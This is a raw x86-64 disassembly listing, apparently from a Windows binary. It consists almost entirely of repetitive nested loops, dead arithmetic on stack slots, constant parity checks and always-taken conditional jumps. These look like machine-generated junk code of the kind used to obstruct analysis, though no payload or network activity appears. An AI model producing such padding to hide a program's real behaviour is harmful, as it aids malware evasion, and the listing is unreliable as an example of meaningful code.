mov dword [rsp + 0x16fc], eax
mov dword [rsp + 0xe14], 0
jmp 0x14010bfc0
mov eax, dword [rsp + 0xe14]
inc eax
mov dword [rsp + 0xe14], eax
cmp dword [rsp + 0xe14], 8
jge 0x14010c1f0
mov eax, dword [rsp + 0xe14]
add eax, 6
mov dword [rsp + 0x8b8], eax
mov eax, dword [rsp + 0x8b8]
add eax, 5
mov dword [rsp + 0x8b8], eax
cmp dword [rsp + 0x8b8], 0x12
jne 0x14010c1dd
mov dword [rsp + 0x8a8], 0x2a
mov eax, dword [rsp + 0x8a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c02e
mov eax, dword [rsp + 0x8a8]
shl eax, 1
mov dword [rsp + 0x8a8], eax
jmp 0x14010c03f
mov eax, dword [rsp + 0x8a8]
add eax, 3
mov dword [rsp + 0x8a8], eax
mov eax, dword [rsp + 0x8b8]
imul eax, dword [rsp + 0x8c0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c54], eax
mov dword [rsp + 0x16f0], 0
jmp 0x14010c07a
mov eax, dword [rsp + 0x16f0]
inc eax
mov dword [rsp + 0x16f0], eax
cmp dword [rsp + 0x16f0], 5
jge 0x14010c1dd
mov dword [rsp + 0x16f4], 0x4d
mov dword [rsp + 0xe18], 0
jmp 0x14010c0b0
mov eax, dword [rsp + 0xe18]
inc eax
mov dword [rsp + 0xe18], eax
cmp dword [rsp + 0xe18], 6
jge 0x14010c15c
mov eax, dword [rsp + 0xe18]
add eax, 3
mov dword [rsp + 0x8b0], eax
mov eax, dword [rsp + 0x8b0]
add eax, 2
mov dword [rsp + 0x8b0], eax
cmp dword [rsp + 0x8b0], 0xb
jne 0x14010c149
mov dword [rsp + 0x8ac], 0x2a
mov eax, dword [rsp + 0x8ac]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c11a
mov eax, dword [rsp + 0x8ac]
shl eax, 1
mov dword [rsp + 0x8ac], eax
jmp 0x14010c12b
mov eax, dword [rsp + 0x8ac]
add eax, 3
mov dword [rsp + 0x8ac], eax
mov eax, dword [rsp + 0x8b0]
imul eax, dword [rsp + 0x16f4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c58], eax
cmp dword [rsp + 0x8b0], 0x12
jl 0x14010c0cf
jmp 0x14010c0a0
cmp dword [rsp + 0x16f4], 0x23
jle 0x14010c1d8
mov eax, dword [rsp + 0x16f4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x16f8], eax
mov dword [rsp + 0x8b4], 0x2a
mov eax, dword [rsp + 0x8b4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c1ac
mov eax, dword [rsp + 0x8b4]
shl eax, 1
mov dword [rsp + 0x8b4], eax
jmp 0x14010c1bd
mov eax, dword [rsp + 0x8b4]
add eax, 3
mov dword [rsp + 0x8b4], eax
mov eax, dword [rsp + 0x16f8]
sub eax, 4
mov dword [rsp + 0x16f8], eax
cmp dword [rsp + 0x16f8], 0
jg 0x14010c17c
jmp 0x14010c06a
cmp dword [rsp + 0x8b8], 0x1e
jl 0x14010bfdf
jmp 0x14010bfb0
mov eax, dword [rsp + 0x16fc]
sub eax, 4
mov dword [rsp + 0x16fc], eax
cmp dword [rsp + 0x16fc], 0
jg 0x14010bfa3
mov dword [rsp + 0xe1c], 0
jmp 0x14010c22c
mov eax, dword [rsp + 0xe1c]
inc eax
mov dword [rsp + 0xe1c], eax
cmp dword [rsp + 0xe1c], 8
jge 0x14010c45c
mov eax, dword [rsp + 0xe1c]
add eax, 6
mov dword [rsp + 0x8d0], eax
mov eax, dword [rsp + 0x8d0]
add eax, 5
mov dword [rsp + 0x8d0], eax
cmp dword [rsp + 0x8d0], 0x12
jne 0x14010c449
mov dword [rsp + 0x8bc], 0x2a
mov eax, dword [rsp + 0x8bc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c29a
mov eax, dword [rsp + 0x8bc]
shl eax, 1
mov dword [rsp + 0x8bc], eax
jmp 0x14010c2ab
mov eax, dword [rsp + 0x8bc]
add eax, 3
mov dword [rsp + 0x8bc], eax
mov eax, dword [rsp + 0x8d0]
imul eax, dword [rsp + 0x8c0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c5c], eax
mov dword [rsp + 0x1700], 0
jmp 0x14010c2e6
mov eax, dword [rsp + 0x1700]
inc eax
mov dword [rsp + 0x1700], eax
cmp dword [rsp + 0x1700], 5
jge 0x14010c449
mov dword [rsp + 0x1704], 0x4d
mov dword [rsp + 0xe20], 0
jmp 0x14010c31c
mov eax, dword [rsp + 0xe20]
inc eax
mov dword [rsp + 0xe20], eax
cmp dword [rsp + 0xe20], 6
jge 0x14010c3c8
mov eax, dword [rsp + 0xe20]
add eax, 3
mov dword [rsp + 0x8c8], eax
mov eax, dword [rsp + 0x8c8]
add eax, 2
mov dword [rsp + 0x8c8], eax
cmp dword [rsp + 0x8c8], 0xb
jne 0x14010c3b5
mov dword [rsp + 0x8c4], 0x2a
mov eax, dword [rsp + 0x8c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c386
mov eax, dword [rsp + 0x8c4]
shl eax, 1
mov dword [rsp + 0x8c4], eax
jmp 0x14010c397
mov eax, dword [rsp + 0x8c4]
add eax, 3
mov dword [rsp + 0x8c4], eax
mov eax, dword [rsp + 0x8c8]
imul eax, dword [rsp + 0x1704]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c60], eax
cmp dword [rsp + 0x8c8], 0x12
jl 0x14010c33b
jmp 0x14010c30c
cmp dword [rsp + 0x1704], 0x23
jle 0x14010c444
mov eax, dword [rsp + 0x1704]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1708], eax
mov dword [rsp + 0x8cc], 0x2a
mov eax, dword [rsp + 0x8cc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c418
mov eax, dword [rsp + 0x8cc]
shl eax, 1
mov dword [rsp + 0x8cc], eax
jmp 0x14010c429
mov eax, dword [rsp + 0x8cc]
add eax, 3
mov dword [rsp + 0x8cc], eax
mov eax, dword [rsp + 0x1708]
sub eax, 4
mov dword [rsp + 0x1708], eax
cmp dword [rsp + 0x1708], 0
jg 0x14010c3e8
jmp 0x14010c2d6
cmp dword [rsp + 0x8d0], 0x1e
jl 0x14010c24b
jmp 0x14010c21c
jmp 0x14010bd09
jmp 0x14010c669
mov dword [rsp + 0x170c], 0
jmp 0x14010c483
mov eax, dword [rsp + 0x170c]
inc eax
mov dword [rsp + 0x170c], eax
cmp dword [rsp + 0x170c], 5
jge 0x14010c669
mov dword [rsp + 0x1710], 0x59
mov dword [rsp + 0xe24], 0
jmp 0x14010c4b9
mov eax, dword [rsp + 0xe24]
inc eax
mov dword [rsp + 0xe24], eax
cmp dword [rsp + 0xe24], 7
jge 0x14010c5a7
mov eax, dword [rsp + 0xe24]
add eax, 4
mov dword [rsp + 0x8dc], eax
mov eax, dword [rsp + 0x8dc]
add eax, 3
mov dword [rsp + 0x8dc], eax
cmp dword [rsp + 0x8dc], 0xe
jne 0x14010c594
mov dword [rsp + 0x8d4], 0x2a
mov eax, dword [rsp + 0x8d4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c527
mov eax, dword [rsp + 0x8d4]
shl eax, 1
mov dword [rsp + 0x8d4], eax
jmp 0x14010c538
mov eax, dword [rsp + 0x8d4]
add eax, 3
mov dword [rsp + 0x8d4], eax
mov eax, dword [rsp + 0x8dc]
imul eax, dword [rsp + 0x1710]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1c64], eax
mov dword [rsp + 0x8d8], 0x2a
mov eax, dword [rsp + 0x8d8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c583
mov eax, dword [rsp + 0x8d8]
shl eax, 1
mov dword [rsp + 0x8d8], eax
jmp 0x14010c594
mov eax, dword [rsp + 0x8d8]
add eax, 3
mov dword [rsp + 0x8d8], eax
cmp dword [rsp + 0x8dc], 0x19
jl 0x14010c4d8
jmp 0x14010c4a9
cmp dword [rsp + 0x1710], 0x28
jle 0x14010c623
mov eax, dword [rsp + 0x1710]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1714], eax
mov dword [rsp + 0x8e0], 0x2a
mov eax, dword [rsp + 0x8e0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c5f7
mov eax, dword [rsp + 0x8e0]
shl eax, 1
mov dword [rsp + 0x8e0], eax
jmp 0x14010c608
mov eax, dword [rsp + 0x8e0]
add eax, 3
mov dword [rsp + 0x8e0], eax
mov eax, dword [rsp + 0x1714]
sub eax, 3
mov dword [rsp + 0x1714], eax
cmp dword [rsp + 0x1714], 0
jg 0x14010c5c7
mov dword [rsp + 0x8e4], 0x2a
mov eax, dword [rsp + 0x8e4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010c653
mov eax, dword [rsp + 0x8e4]
shl eax, 1
mov dword [rsp + 0x8e4], eax
jmp 0x14010c664
mov eax, dword [rsp + 0x8e4]
add eax, 3
mov dword [rsp + 0x8e4], eax
jmp 0x14010c473
xor eax, eax
test eax, eax
je 0x14010d41e
xor eax, eax
test eax, eax
je 0x14010cdad
mov dword [rsp + 0x1718], 0
jmp 0x14010c69a
mov eax, dword [rsp + 0x1718]
inc eax
mov dword [rsp + 0x1718], eax
cmp dword [rsp + 0x1718], 5
jge 0x14010cda8
mov dword [rsp + 0x1734], 0x3f
mov dword [rsp + 0xe28], 0
jmp 0x14010c6d0
mov eax, dword [rsp + 0xe28]
inc eax
mov dword [rsp + 0xe28], eax
cmp dword [rsp + 0xe28], 6
jge 0x14010ca50
mov eax, dword [rsp + 0xe28]
add eax, 5
mov dword [rsp + 0x8f0], eax
mov eax, dword [rsp + 0x8f0]
add eax, 4
mov dword [rsp + 0x8f0], eax
cmp dword [rsp + 0x8f0], 0x11
jne 0x14010ca3d
mov dword [rsp + 0x171c], 0
jmp 0x14010c72b
mov eax, dword [rsp + 0x171c]
inc eax
mov dword [rsp + 0x171c], eax
cmp dword [rsp + 0x171c], 5
jge 0x14010c896
mov dword [rsp + 0x1720], 0x2a
mov dword [rsp + 0xe2c], 0
jmp 0x14010c761
mov eax, dword [rsp + 0xe2c]
inc eax
mov dword [rsp + 0xe2c], eax
cmp dword [rsp + 0xe2c], 4
jge 0x14010c810
mov eax, dword [rsp + 0xe2c]
add eax, 2
mov dword [rsp + 0x8e8], eax
mov eax, dword [rsp + 0x8e8]
inc eax
mov dword [rsp + 0x8e8], eax
cmp dword [rsp + 0x8e8], 7
jne 0x14010c7fd
mov dword [rsp + 0x1cc], Ordinal_79
cmp dword [rsp + 0x1cc], 0
jle 0x14010c7df
mov eax, dword [rsp + 0x1cc]
sub eax, 5
mov dword [rsp + 0x1cc], eax
cmp dword [rsp + 0x1cc], 0xa
jne 0x14010c7dd
mov eax, dword [rsp + 0x1cc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cc], eax
jmp 0x14010c7a5
mov eax, dword [rsp + 0x8e8]
imul eax, dword [rsp + 0x1720]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c68], eax
cmp dword [rsp + 0x8e8], 0xb
jl 0x14010c780
jmp 0x14010c751
cmp dword [rsp + 0x1720], 0x14
jle 0x14010c891
mov eax, dword [rsp + 0x1720]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1724], eax
mov dword [rsp + 0x1d0], Ordinal_79
cmp dword [rsp + 0x1d0], 0
jle 0x14010c876
mov eax, dword [rsp + 0x1d0]
sub eax, 5
mov dword [rsp + 0x1d0], eax
cmp dword [rsp + 0x1d0], 0xa
jne 0x14010c874
mov eax, dword [rsp + 0x1d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d0], eax
jmp 0x14010c83c
mov eax, dword [rsp + 0x1724]
sub eax, 2
mov dword [rsp + 0x1724], eax
cmp dword [rsp + 0x1724], 0
jg 0x14010c831
jmp 0x14010c71b
mov eax, dword [rsp + 0x8f0]
imul eax, dword [rsp + 0x1734]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1c6c], eax
mov dword [rsp + 0x1728], 0
jmp 0x14010c8d2
mov eax, dword [rsp + 0x1728]
inc eax
mov dword [rsp + 0x1728], eax
cmp dword [rsp + 0x1728], 5
jge 0x14010ca3d
mov dword [rsp + 0x172c], 0x2a
mov dword [rsp + 0xe30], 0
jmp 0x14010c908
mov eax, dword [rsp + 0xe30]
inc eax
mov dword [rsp + 0xe30], eax
cmp dword [rsp + 0xe30], 4
jge 0x14010c9b7
mov eax, dword [rsp + 0xe30]
add eax, 2
mov dword [rsp + 0x8ec], eax
mov eax, dword [rsp + 0x8ec]
inc eax
mov dword [rsp + 0x8ec], eax
cmp dword [rsp + 0x8ec], 7
jne 0x14010c9a4
mov dword [rsp + 0x1d4], Ordinal_79
cmp dword [rsp + 0x1d4], 0
jle 0x14010c986
mov eax, dword [rsp + 0x1d4]
sub eax, 5
mov dword [rsp + 0x1d4], eax
cmp dword [rsp + 0x1d4], 0xa
jne 0x14010c984
mov eax, dword [rsp + 0x1d4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d4], eax
jmp 0x14010c94c
mov eax, dword [rsp + 0x8ec]
imul eax, dword [rsp + 0x172c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c70], eax
cmp dword [rsp + 0x8ec], 0xb
jl 0x14010c927
jmp 0x14010c8f8
cmp dword [rsp + 0x172c], 0x14
jle 0x14010ca38
mov eax, dword [rsp + 0x172c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1730], eax
mov dword [rsp + 0x1d8], Ordinal_79
cmp dword [rsp + 0x1d8], 0
jle 0x14010ca1d
mov eax, dword [rsp + 0x1d8]
sub eax, 5
mov dword [rsp + 0x1d8], eax
cmp dword [rsp + 0x1d8], 0xa
jne 0x14010ca1b
mov eax, dword [rsp + 0x1d8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d8], eax
jmp 0x14010c9e3
mov eax, dword [rsp + 0x1730]
sub eax, 2
mov dword [rsp + 0x1730], eax
cmp dword [rsp + 0x1730], 0
jg 0x14010c9d8
jmp 0x14010c8c2
cmp dword [rsp + 0x8f0], 0x1c
jl 0x14010c6ef
jmp 0x14010c6c0
cmp dword [rsp + 0x1734], 0x1e
jle 0x14010cc1b
mov eax, dword [rsp + 0x1734]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0x1744], eax
mov dword [rsp + 0x1738], 0
jmp 0x14010ca91
mov eax, dword [rsp + 0x1738]
inc eax
mov dword [rsp + 0x1738], eax
cmp dword [rsp + 0x1738], 5
jge 0x14010cbfc
mov dword [rsp + 0x173c], 0x2a
mov dword [rsp + 0xe34], 0
jmp 0x14010cac7
mov eax, dword [rsp + 0xe34]
inc eax
mov dword [rsp + 0xe34], eax
cmp dword [rsp + 0xe34], 4
jge 0x14010cb76
mov eax, dword [rsp + 0xe34]
add eax, 2
mov dword [rsp + 0x8f4], eax
mov eax, dword [rsp + 0x8f4]
inc eax
mov dword [rsp + 0x8f4], eax
cmp dword [rsp + 0x8f4], 7
jne 0x14010cb63
mov dword [rsp + 0x1dc], Ordinal_79
cmp dword [rsp + 0x1dc], 0
jle 0x14010cb45
mov eax, dword [rsp + 0x1dc]
sub eax, 5
mov dword [rsp + 0x1dc], eax
cmp dword [rsp + 0x1dc], 0xa
jne 0x14010cb43
mov eax, dword [rsp + 0x1dc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1dc], eax
jmp 0x14010cb0b
mov eax, dword [rsp + 0x8f4]
imul eax, dword [rsp + 0x173c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c74], eax
cmp dword [rsp + 0x8f4], 0xb
jl 0x14010cae6
jmp 0x14010cab7
cmp dword [rsp + 0x173c], 0x14
jle 0x14010cbf7
mov eax, dword [rsp + 0x173c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1740], eax
mov dword [rsp + 0x1e0], Ordinal_79
cmp dword [rsp + 0x1e0], 0
jle 0x14010cbdc
mov eax, dword [rsp + 0x1e0]
sub eax, 5
mov dword [rsp + 0x1e0], eax
cmp dword [rsp + 0x1e0], 0xa
jne 0x14010cbda
mov eax, dword [rsp + 0x1e0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e0], eax
jmp 0x14010cba2
mov eax, dword [rsp + 0x1740]
sub eax, 2
mov dword [rsp + 0x1740], eax
cmp dword [rsp + 0x1740], 0
jg 0x14010cb97
jmp 0x14010ca81
mov eax, dword [rsp + 0x1744]
sub eax, 2
mov dword [rsp + 0x1744], eax
cmp dword [rsp + 0x1744], 0
jg 0x14010ca74
mov dword [rsp + 0x1748], 0
jmp 0x14010cc38
mov eax, dword [rsp + 0x1748]
inc eax
mov dword [rsp + 0x1748], eax
cmp dword [rsp + 0x1748], 5
jge 0x14010cda3
mov dword [rsp + 0x174c], 0x2a
mov dword [rsp + 0xe38], 0
jmp 0x14010cc6e
mov eax, dword [rsp + 0xe38]
inc eax
mov dword [rsp + 0xe38], eax
cmp dword [rsp + 0xe38], 4
jge 0x14010cd1d
mov eax, dword [rsp + 0xe38]
add eax, 2
mov dword [rsp + 0x8f8], eax
mov eax, dword [rsp + 0x8f8]
inc eax
mov dword [rsp + 0x8f8], eax
cmp dword [rsp + 0x8f8], 7
jne 0x14010cd0a
mov dword [rsp + 0x1e4], Ordinal_79
cmp dword [rsp + 0x1e4], 0
jle 0x14010ccec
mov eax, dword [rsp + 0x1e4]
sub eax, 5
mov dword [rsp + 0x1e4], eax
cmp dword [rsp + 0x1e4], 0xa
jne 0x14010ccea
mov eax, dword [rsp + 0x1e4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e4], eax
jmp 0x14010ccb2
mov eax, dword [rsp + 0x8f8]
imul eax, dword [rsp + 0x174c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c78], eax
cmp dword [rsp + 0x8f8], 0xb
jl 0x14010cc8d
jmp 0x14010cc5e
cmp dword [rsp + 0x174c], 0x14
jle 0x14010cd9e
mov eax, dword [rsp + 0x174c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1750], eax
mov dword [rsp + 0x1e8], Ordinal_79
cmp dword [rsp + 0x1e8], 0
jle 0x14010cd83
mov eax, dword [rsp + 0x1e8]
sub eax, 5
mov dword [rsp + 0x1e8], eax
cmp dword [rsp + 0x1e8], 0xa
jne 0x14010cd81
mov eax, dword [rsp + 0x1e8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e8], eax
jmp 0x14010cd49
mov eax, dword [rsp + 0x1750]
sub eax, 2
mov dword [rsp + 0x1750], eax
cmp dword [rsp + 0x1750], 0
jg 0x14010cd3e
jmp 0x14010cc28
jmp 0x14010c68a
jmp 0x14010d41e
mov dword [rsp + 0x1754], 0
jmp 0x14010cdca
mov eax, dword [rsp + 0x1754]
inc eax
mov dword [rsp + 0x1754], eax
cmp dword [rsp + 0x1754], 5
jge 0x14010d41e
mov dword [rsp + 0x1770], 0x34
mov dword [rsp + 0xe3c], 0
jmp 0x14010ce00
mov eax, dword [rsp + 0xe3c]
inc eax
mov dword [rsp + 0xe3c], eax
cmp dword [rsp + 0xe3c], 7
jge 0x14010d123
mov eax, dword [rsp + 0xe3c]
add eax, 4
mov dword [rsp + 0x904], eax
mov eax, dword [rsp + 0x904]
add eax, 3
mov dword [rsp + 0x904], eax
cmp dword [rsp + 0x904], 0x10
jne 0x14010d110
mov dword [rsp + 0x1758], 0
jmp 0x14010ce5b
mov eax, dword [rsp + 0x1758]
inc eax
mov dword [rsp + 0x1758], eax
cmp dword [rsp + 0x1758], 5
jge 0x14010cf98
mov dword [rsp + 0x175c], 0x2a
mov dword [rsp + 0xe40], 0
jmp 0x14010ce91
mov eax, dword [rsp + 0xe40]
inc eax
mov dword [rsp + 0xe40], eax
cmp dword [rsp + 0xe40], 4
jge 0x14010cf27
mov eax, dword [rsp + 0xe40]
add eax, 2
mov dword [rsp + 0x8fc], eax
mov eax, dword [rsp + 0x8fc]
inc eax
mov dword [rsp + 0x8fc], eax
cmp dword [rsp + 0x8fc], 7
jne 0x14010cf18
mov dword [rsp + 0x40], Ordinal_79
cmp dword [rsp + 0x40], 0
jle 0x14010cefa
mov eax, dword [rsp + 0x40]
sub eax, 5
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xa
jne 0x14010cef8
mov eax, dword [rsp + 0x40]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x40], eax
jmp 0x14010ced2
mov eax, dword [rsp + 0x8fc]
imul eax, dword [rsp + 0x175c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c7c], eax
cmp dword [rsp + 0x8fc], 0xb
jl 0x14010ceb0
jmp 0x14010ce81
cmp dword [rsp + 0x175c], 0x14
jle 0x14010cf93
mov eax, dword [rsp + 0x175c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1760], eax
mov dword [rsp + 0x44], Ordinal_79
cmp dword [rsp + 0x44], 0
jle 0x14010cf78
mov eax, dword [rsp + 0x44]
sub eax, 5
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0xa
jne 0x14010cf76
mov eax, dword [rsp + 0x44]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x44], eax
jmp 0x14010cf50
mov eax, dword [rsp + 0x1760]
sub eax, 2
mov dword [rsp + 0x1760], eax
cmp dword [rsp + 0x1760], 0
jg 0x14010cf48
jmp 0x14010ce4b
mov eax, dword [rsp + 0x904]
imul eax, dword [rsp + 0x1770]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1c80], eax
mov dword [rsp + 0x1764], 0
jmp 0x14010cfd3
mov eax, dword [rsp + 0x1764]
inc eax
mov dword [rsp + 0x1764], eax
cmp dword [rsp + 0x1764], 5
jge 0x14010d110
mov dword [rsp + 0x1768], 0x2a
mov dword [rsp + 0xe44], 0
jmp 0x14010d009
mov eax, dword [rsp + 0xe44]
inc eax
mov dword [rsp + 0xe44], eax
cmp dword [rsp + 0xe44], 4
jge 0x14010d09f
mov eax, dword [rsp + 0xe44]
add eax, 2
mov dword [rsp + 0x900], eax
mov eax, dword [rsp + 0x900]
inc eax
mov dword [rsp + 0x900], eax
cmp dword [rsp + 0x900], 7
jne 0x14010d090
mov dword [rsp + 0x48], Ordinal_79
cmp dword [rsp + 0x48], 0
jle 0x14010d072
mov eax, dword [rsp + 0x48]
sub eax, 5
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xa
jne 0x14010d070
mov eax, dword [rsp + 0x48]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x48], eax
jmp 0x14010d04a
mov eax, dword [rsp + 0x900]
imul eax, dword [rsp + 0x1768]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c84], eax
cmp dword [rsp + 0x900], 0xb
jl 0x14010d028
jmp 0x14010cff9
cmp dword [rsp + 0x1768], 0x14
jle 0x14010d10b
mov eax, dword [rsp + 0x1768]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x176c], eax
mov dword [rsp + 0x4c], Ordinal_79
cmp dword [rsp + 0x4c], 0
jle 0x14010d0f0
mov eax, dword [rsp + 0x4c]
sub eax, 5
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0xa
jne 0x14010d0ee
mov eax, dword [rsp + 0x4c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x4c], eax
jmp 0x14010d0c8
mov eax, dword [rsp + 0x176c]
sub eax, 2
mov dword [rsp + 0x176c], eax
cmp dword [rsp + 0x176c], 0
jg 0x14010d0c0
jmp 0x14010cfc3
cmp dword [rsp + 0x904], 0x1b
jl 0x14010ce1f
jmp 0x14010cdf0
cmp dword [rsp + 0x1770], 0x19
jle 0x14010d2bf
mov eax, dword [rsp + 0x1770]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1780], eax
mov dword [rsp + 0x1774], 0
jmp 0x14010d164
mov eax, dword [rsp + 0x1774]
inc eax
mov dword [rsp + 0x1774], eax
cmp dword [rsp + 0x1774], 5
jge 0x14010d2a1
mov dword [rsp + 0x1778], 0x2a
mov dword [rsp + 0xe48], 0
jmp 0x14010d19a
mov eax, dword [rsp + 0xe48]
inc eax
mov dword [rsp + 0xe48], eax
cmp dword [rsp + 0xe48], 4
jge 0x14010d230
mov eax, dword [rsp + 0xe48]
add eax, 2
mov dword [rsp + 0x908], eax
mov eax, dword [rsp + 0x908]
inc eax
mov dword [rsp + 0x908], eax
cmp dword [rsp + 0x908], 7
jne 0x14010d221
mov dword [rsp + 0x50], Ordinal_79
cmp dword [rsp + 0x50], 0
jle 0x14010d203
mov eax, dword [rsp + 0x50]
sub eax, 5
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xa
jne 0x14010d201
mov eax, dword [rsp + 0x50]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x50], eax
jmp 0x14010d1db
mov eax, dword [rsp + 0x908]
imul eax, dword [rsp + 0x1778]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c88], eax
cmp dword [rsp + 0x908], 0xb
jl 0x14010d1b9
jmp 0x14010d18a
cmp dword [rsp + 0x1778], 0x14
jle 0x14010d29c
mov eax, dword [rsp + 0x1778]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x177c], eax
mov dword [rsp + 0x54], Ordinal_79
cmp dword [rsp + 0x54], 0
jle 0x14010d281
mov eax, dword [rsp + 0x54]
sub eax, 5
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0xa
jne 0x14010d27f
mov eax, dword [rsp + 0x54]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x54], eax
jmp 0x14010d259
mov eax, dword [rsp + 0x177c]
sub eax, 2
mov dword [rsp + 0x177c], eax
cmp dword [rsp + 0x177c], 0
jg 0x14010d251
jmp 0x14010d154
mov eax, dword [rsp + 0x1780]
dec eax
mov dword [rsp + 0x1780], eax
cmp dword [rsp + 0x1780], 0
jg 0x14010d147
mov dword [rsp + 0x1784], 0
jmp 0x14010d2dc
mov eax, dword [rsp + 0x1784]
inc eax
mov dword [rsp + 0x1784], eax
cmp dword [rsp + 0x1784], 5
jge 0x14010d419
mov dword [rsp + 0x1788], 0x2a
mov dword [rsp + 0xe4c], 0
jmp 0x14010d312
mov eax, dword [rsp + 0xe4c]
inc eax
mov dword [rsp + 0xe4c], eax
cmp dword [rsp + 0xe4c], 4
jge 0x14010d3a8
mov eax, dword [rsp + 0xe4c]
add eax, 2
mov dword [rsp + 0x90c], eax
mov eax, dword [rsp + 0x90c]
inc eax
mov dword [rsp + 0x90c], eax
cmp dword [rsp + 0x90c], 7
jne 0x14010d399
mov dword [rsp + 0x58], Ordinal_79
cmp dword [rsp + 0x58], 0
jle 0x14010d37b
mov eax, dword [rsp + 0x58]
sub eax, 5
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xa
jne 0x14010d379
mov eax, dword [rsp + 0x58]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x58], eax
jmp 0x14010d353
mov eax, dword [rsp + 0x90c]
imul eax, dword [rsp + 0x1788]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1c8c], eax
cmp dword [rsp + 0x90c], 0xb
jl 0x14010d331
jmp 0x14010d302
cmp dword [rsp + 0x1788], 0x14
jle 0x14010d414
mov eax, dword [rsp + 0x1788]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x178c], eax
mov dword [rsp + 0x5c], Ordinal_79
cmp dword [rsp + 0x5c], 0
jle 0x14010d3f9
mov eax, dword [rsp + 0x5c]
sub eax, 5
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0xa
jne 0x14010d3f7
mov eax, dword [rsp + 0x5c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x5c], eax
jmp 0x14010d3d1
mov eax, dword [rsp + 0x178c]
sub eax, 2
mov dword [rsp + 0x178c], eax
cmp dword [rsp + 0x178c], 0
jg 0x14010d3c9
jmp 0x14010d2cc
jmp 0x14010cdba
xor eax, eax
test eax, eax
je 0x14010e57a
xor eax, eax
test eax, eax
je 0x14010dcd6
mov dword [rsp + 0x1790], 0
jmp 0x14010d44f
mov eax, dword [rsp + 0x1790]
inc eax
mov dword [rsp + 0x1790], eax
cmp dword [rsp + 0x1790], 5
jge 0x14010dcd1
mov dword [rsp + 0x17ac], 0x3f
mov dword [rsp + 0xe50], 0
jmp 0x14010d485
mov eax, dword [rsp + 0xe50]
inc eax
mov dword [rsp + 0xe50], eax
cmp dword [rsp + 0xe50], 9
jge 0x14010d8bd
mov eax, dword [rsp + 0xe50]
add eax, 7
mov dword [rsp + 0x928], eax
mov eax, dword [rsp + 0x928]
add eax, 4
mov dword [rsp + 0x928], eax
cmp dword [rsp + 0x928], 0x15
jne 0x14010d8aa
mov dword [rsp + 0x1794], 0
jmp 0x14010d4e0
mov eax, dword [rsp + 0x1794]
inc eax
mov dword [rsp + 0x1794], eax
cmp dword [rsp + 0x1794], 5
jge 0x14010d6a9
mov dword [rsp + 0x1798], 0x11
mov dword [rsp + 0xe54], 0
